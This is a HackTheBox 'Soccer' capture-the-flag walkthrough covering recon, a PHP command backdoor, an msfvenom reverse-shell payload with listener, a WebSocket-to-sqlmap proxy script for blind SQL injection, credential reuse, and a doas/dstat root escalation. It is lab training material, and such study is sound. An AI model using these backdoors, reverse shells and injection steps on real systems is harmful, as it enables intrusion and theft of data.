This HackTheBox can be found here.
Soccer is included in TJnull’s OSCP, OSEP, and OSWE list.
Recon
Like always, we’ll start with a Nmap scan:
1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.11.194
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Nmap scan report for 10.10.11.194
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sun, 03 Dec 2023 17:25:26 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sun, 03 Dec 2023 17:25:26 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
~~~SNIP~~~
Port 22, 80 and 9091 are open. We see that the server redirected to soccer.htb
when Nmap tried to access port 80. Let’s add that to our /etc/hosts
:
1
echo '10.10.11.194 soccer.htb' | sudo tee -a /etc/hosts
When we access http://soccer.htb
, we see the below app:
Accessing http://soccer.htb:9091
tells us that the app cannot GET /
:
Initial Foothold
The index page gives us nothing, so let’s use gobuster to see if there is anything else on the application:
1
gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
We see a directory named /tiny/
. When we access it, we find the Tiny File Manager
:
Whenever we are looking at an application, we should always try to grab the version number. The page itself doesn’t list one, but when we look at the HTML, we see it’s v2.4.3
:
Searching for Tiny Manager’s default creds, we find that they are admin:admin@123
. These end up working for us:
So we can login and have the version number. Before looking for exploits, let’s see if we can upload a file to catch a reverse shell. We don’t have write perms within the directory’s root, and also in /tiny
, but we can upload to /tiny/upload
. Let’s make a basic PHP backdoor to test:
1
echo "<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>" test.php
Now browse to http://soccer.htb/tiny/uploads/test.php?cmd=whoami
:
We can execute commands, but it seems like our uploaded file is deleted a few minutes after uploading. Let’s try to get a stable meterpreter shell:
1
2
# The PHP payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -o shelly.php
1
2
3
4
5
6
7
# Starting our listener
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run
After we upload the file, we can trigger it by browsing to http://soccer.htb/tiny/uploads/shelly.php
and we catch a shell as www-data
:
We see that the user.txt
flag is located at /home/player/user.txt
, but we can’t read it as www-data
. I searched around some more, and found that there is a subdomain named soc-player.soccer.htb
when looking at /var/log/nginx/access.log.1
:
Let’s add that to our /etc/hosts
:
1
echo '10.10.11.194 soc-player.soccer.htb' | sudo tee -a /etc/hosts
User Flag
When we access the subdomain, we see a site similar to http://soccer.htb
, but now we have login and signup functionality:
This subdomain uses the service on port 9091. If we create an account and login, there is a Tickets page that we can access:
When searching for tickets, a websocket is used:
I did some quick tests on the signup and login functionality, but didn’t find anything. I then turned my attention to the ticketing page at http://soc-player.soccer.htb/check
. I wanted to check for SQLi, but we first need to set up a proxy server that will forward payloads to a WebSocket connection since Sqlmap doesn’t play nice with websockets. I followed this blogpost.
We can create the server with Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
message = unquote(payload).replace('"', '\'')
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port, content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-Type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
pass
We can then start the server through python3 server.py
. Now let’s run Sqlmap:
1
sqlmap -u 'http://localhost:8081/?id=1111"
Sqlmap will send payloads to the python server through the id
parameter, and the server will send the payloads to the websocket connection. After a few seconds, we find time-based blind SQLi:
Since this a time-based SQLi, we’ll do a targeted approach for information instead of using the --dump-all
flag. We see there are five databases:
1
sqlmap -u 'http://localhost:8081/?id=1111' --batch --dbs
There is one table in the soccer_db
named accounts
:
1
sqlmap -u 'http://localhost:8081/?id=1111' --batch -D soccer_db --tables
Lets dump the accounts
table:
1
sqlmap -u 'http://localhost:8081/?id=1111' --batch -D soccer_db -T accounts --dump
We get a single account for an account named player
with the password PlayerOftheMatch2022
. If you recall from our PHP shell as www-data
, there was a user named player
. We can check for password reuse by ssh`ing and see that we have access:
We can now read user.txt
:
Privilege Escalation
I brought linpeas
over and ran it. The only thing of note was that doas
was installed:
Doas allows us to run commands as another user, including root. We first need to find the doas.conf file. It is usually located at /etc/doas.conf
, but not on this box. We will search for it and find that it is located at /usr/local/etc/doas.conf
:
1
find / -type f -name "doas.conf" 2>/dev/null
As player
, we can execute dstat
as root. Checking GTFOBins, we see that we can spawn a shell as root:
1
2
3
cd ~
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas -u root /usr/bin/dstat --xxx
After running the above, we spawn a shell as root and can grab the last flag: